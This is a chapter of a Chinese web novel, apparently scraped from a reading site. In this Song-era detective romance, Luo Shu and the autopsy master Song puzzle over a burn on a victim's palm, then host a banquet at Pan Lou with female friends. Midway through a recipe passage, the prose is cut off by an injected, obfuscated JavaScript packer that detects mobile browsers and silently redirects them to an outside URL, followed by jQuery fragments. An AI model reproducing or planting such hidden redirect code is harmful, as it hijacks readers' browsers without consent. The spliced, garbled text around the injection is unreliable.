韩雨钟画线之处,恰有一条大道,能够容纳马车通行。而分岔路口,也有一条断头小路能通往山坳。
这个疑问大理寺内也曾提出过,可惜后来小宋大人曾沿着这条大道一路查看,并没有马蹄、车辙的痕迹,若说是抛尸至此,总要马车、驴车来相助吧,难道是一步一步背过来的?
路上没有踪迹,这条路就断了线索,只能搁浅。
骆抒在意别的地方,死者右手掌心有灼痕?怎样的灼痕?
她问道,“宋师傅,不知死者手心那道灼痕大致是什么样的?”
宋师傅回忆道,“那道灼痕我也很奇怪,说是火烧,可又有不同之处。灼痕中间深,四周浅,呈飞溅状,更像是他在手里握了个爆竹,可此处伤口并不致命,也无毒。”
汴京人喜爱放爆竹,每逢年节,家家户户都买得着,于是此条线索也没派上用场。
骆抒觉得哪里怪怪的,这道灼痕她不认为是凶犯造成的,更像是死者自己握住的。
宋师傅也点头,“的确,这对凶犯而言是无用之举,死者主动留下这道灼痕,应当是想传递出什么信息。”
“只是可惜,那道灼痕一片焦黑,我无能,没有看出更多内情。”
宋师傅很可惜,若是当时能结识骆抒,她一定能辨认出那是何物导致的伤口。
他递上死者的衣物,骆抒接过翻看了一下,惊道,“这很干净呀,是大理寺特意清洗过了吗?”
大理寺怎会如此胡闹,宋师傅摇头,“尸体运到大理寺时,这身衣服还是簇新的,只有背后有几道草痕,再没别的了。”
“意思是说,凶犯给死者换上了一身新衣?”骆抒起了鸡皮疙瘩,这算新衣还是寿衣呢。
“对啊”,宋师傅语气凝重,“凶犯持有锋利刀具,又心思敏捷,懂得大理寺办案的路数。若是这回捉不住他,他要是继续犯案,大理寺可就害了那些人了。”
他惆怅地低头,“咱们辛辛苦苦的,不就是为了惩恶扬善吗?”
韩雨钟一时也感怀不已,拍拍宋师傅的肩膀,“我们都明白的,宋师傅放心,大家齐心,一定能找到凶犯的。”
不过首要,得确定死者是谁。
这又绕了回来,如同进了死胡同。
事要办,饭还是得吃。
如今这顿饭还肩负了一个重要责任,那就是振奋人心。
骆抒笑吟吟望着韩雨钟,韩雨钟懂得她的心思,同宋师傅抱拳道,“宋师傅,今日甚巧,骆娘子在潘楼设宴答谢好友相助,临时邀约略有失礼之处,可难得碰上宋师傅,还请您同我们一起喝一杯?”
宋师傅正低落着,乍一听还有饭局,摆手推辞,“我不行,你们相聚合宴,我怎好去打扰大家雅兴。”
韩雨钟好笑道,“因这桩案子,以后少不得见面,宋师傅这是要与我们生疏吗?”
宋师傅为人内敛,根本不善推辞,摆手了几次,圆圆的脸都红透了,也争不过韩雨钟。
最后他放弃了,既然韩大人和骆娘子真心相邀,他再拒就不妥了。
只是心里还奇怪得紧,人都说韩大人是个一根筋的犟官,甚少与同僚嬉笑。他还以为韩大人是个酷吏,难说话呢,谁知道他原来是如此豪爽的性子,也是,若没有辽阔的心胸,怎么能破万难开先例引女子进审刑院。
多谢韩大人慧眼识珠才是。
潘楼街上,骆抒开了两桌席面,一桌男客,一桌女客,也省得各自不自在。
卢茜娘先到了,指着中间隔开的屏风笑她,“我还以为今日能与二郎君同席吃酒呢。”
她极有眼色会来事的人,早就探究出骆抒和韩雨钟不同寻常的关系。
先前她是怕骆抒不清楚成事的艰辛,现下看骆抒又觉得不是。
既然骆抒心里明白,她又何必多嘴呢。
骆抒向卢茜娘解释阿姑,“你若不嫌弃,就叫一声费姨吧。”
阿姑休养了几日,嗓子好透了,高高兴兴地挽着卢茜娘说话,话里话外都是问骆抒在汴京辛不辛苦。
卢茜娘宽她的心,“哪里能叫姨,瞧您的年纪,真是叫一声姐姐都不为过。骆姐姐在汴京那可是人人抢着要的人才,到哪儿都差不了她的。”
她说话俏皮,阿姑倒看出骆抒是真的过得不错,她凑近卢茜娘的耳边,“好孩子,阿抒同我讲了,你是个雪中送炭的,还送她银钱叫她使。你的好,我记住了。”
这道卢茜娘倒不好意思起来,“看您说的,我们女子在这世上可活得不容易,人人一口唾沫星子都够咱们受的,少不得还要自陈清白。有一二同道中人,属实不易,自然要守望相助了。”
正说着,有一人打帘进来,“谁是你的同道中人啊。”
卢茜娘见了她整个人兴致都高起来,“陈姐姐,你今天可来迟了。”
陈娘子,是骆抒在汴京的一个开始,她有一个小名,叫阿凤。
陈凤一来就拆她的台,“好啊你,还叫我和骆姐姐来往一码归一码,做生意该收钱就收钱。结果你背着我给她送钱,还不叫我知道。”
卢茜娘没想到被自小的姐妹戳穿了,还嘴硬,“我和抒姐姐一起做生意,这是给她的分红,哪里是送的。”
“你就油嘴滑舌吧,真是谁都说不过你”,陈风落座在席间,问了一句费姨好,同骆抒说起正事,“骆姐姐和卢四妹妹合作的凝光紫我见过了,可真美,定能在汴京打出名头。”
她也眼馋呢,真想快点买回家裁成衣服上身,别提多美了。
骆抒替她斟酒,“那就多谢妹妹的吉言了。”
今日这桌席面可是骆抒精心选的,冷盘四味,金齑玉鲙、蜜煎雕花、糟鹅掌、姜辣豉香螺肉,热菜共有羊头签、三脆羹、酒蒸鱼首、荔枝白腰子、樱桃酪肉,都是潘楼的招牌菜。最后还有韩雨钟提及的甜汤,荔枝膏水,满满摆了一桌。
其中这味糟鹅掌可是潘楼的名菜,光是制糟卤就得费上不少功夫,先是要把黄酒煮沸,加入花椒、盐、桂皮,小火煮上一盏茶的时间,再关火晾凉。
其中的关键是那一味酒糟,把酒糟用纱布扎好浸入黄酒卤子里,放一宿后才能泡入煮好的鹅掌,接着再腌制一夜,糟鹅掌就成了。
取出鹅掌,淋上卤汁,佐以少许金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174609|177628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
橘丝点缀,色香味俱全,难怪吕相公吃过后念念不忘。
男客那边由韩雨钟替她招待,加上他本人也就四位,还都是办案子的熟面孔,几人上了互敬几杯花雕后竟开始聊起案子来,还专捡那奇怪诡异的说。
宋师傅人看着斯斯文文,两杯薄酒下肚,也谈兴大发,回忆起他仵作生涯中千奇百怪的命案,例如断肢、巨人观、剥皮等等的尸首来,放在别人饭桌上听不下去的话题,这几个人还听得津津有味。
骆抒这边反而还没开席,卢茜娘赶紧问她,“这是还有客人?”
她佯怒,“我可是饿得能吃下一头牛了。”
骆抒请她少安毋躁,“是还有两位妹妹,估摸着也快到了。”
话音刚落,一个粉雕玉琢的小团子跨进房门,直直向骆抒扑来,“姐姐!我好想你啊。”
她身后还跟着一位恬静的少女,二人面容有五分相似,一看就是姐妹。
王恬把歪歪扭扭的穗儿扶正,“潘楼街不知怎得涌入了好些人,街上人挤人,故而来迟了,还请姐姐莫怪。”
“这是有什么新鲜事?大家都上街顽了?”骆抒替她理了理翻乱的袖口,引她到席上坐下。
骆抒有了请客的念头第一时间就叫上了隔壁的王恬和穗儿,穗儿是个小馋猫,一听有吃的还能上潘楼玩高兴得不得了。王恬倒是有些局促,她与其它客人不熟,万一失礼了给抒姐姐丢脸就不好了。
可一到地方,发现全然不是她想的那样。
女客这一桌亲亲热热的,抒姐姐的阿姑十分慈爱,穗儿想挨着骆抒坐,人家不仅没说什么,还主动给穗儿夹菜。
两位姐姐也是面善的人,听她说起街上的热闹,主动为她解惑,“表姑娘,我听说是诚王妃诞下麟儿,诚王高兴了在各街市上放火戏,与民同乐。”
王恬抿嘴笑,“这里是抒姐姐的席面,姐姐就别唤我表姑娘了。”
她和林夫人说是表亲,无非因为汴京人不爱与外地人通婚,嫁来嫁去后谁都有七柺八绕的亲戚。
实则她们家一个小门小户,哪配在国公府里摆架子。
卢茜娘尴尬一下,拿着酒敬她,“妹妹说的是,咱们都是骆姐姐的亲友,当从她这里论。”
她笑眯眯喝了一杯,骆抒难得使坏,“要从我这里论,可就不该叫妹妹了。王三妹妹教我习画,我要叫她一声师父呢。”
还真给王师父夹了一块子羊肉,示意卢茜娘,“茜娘该学我这样。”
陈娘子在一旁笑得肚子疼。
谁知卢茜娘还留了一手,“你们这群小坏蛋,就喜欢取笑我为乐,看我不拿出点法宝来,治治你们这群猢狲。”
骆抒这才留意到,她是带了包袱上来的,此时那包袱一打开,里面全是凝光紫制成的衣物,有褙子、夏衫、百迭裙、旋裙,件件精美不凡,流光溢彩,有些还缀了珍珠、绢花,把席上这群年龄各异性格各异的女子眼珠都勾去了。
“哇,好漂亮啊。”穗儿打量着那抹颜色,根本目不转睛。
卢茜娘得意洋洋,“怎么样,镇住了吧。这可随你们挑选,先到先得哦。”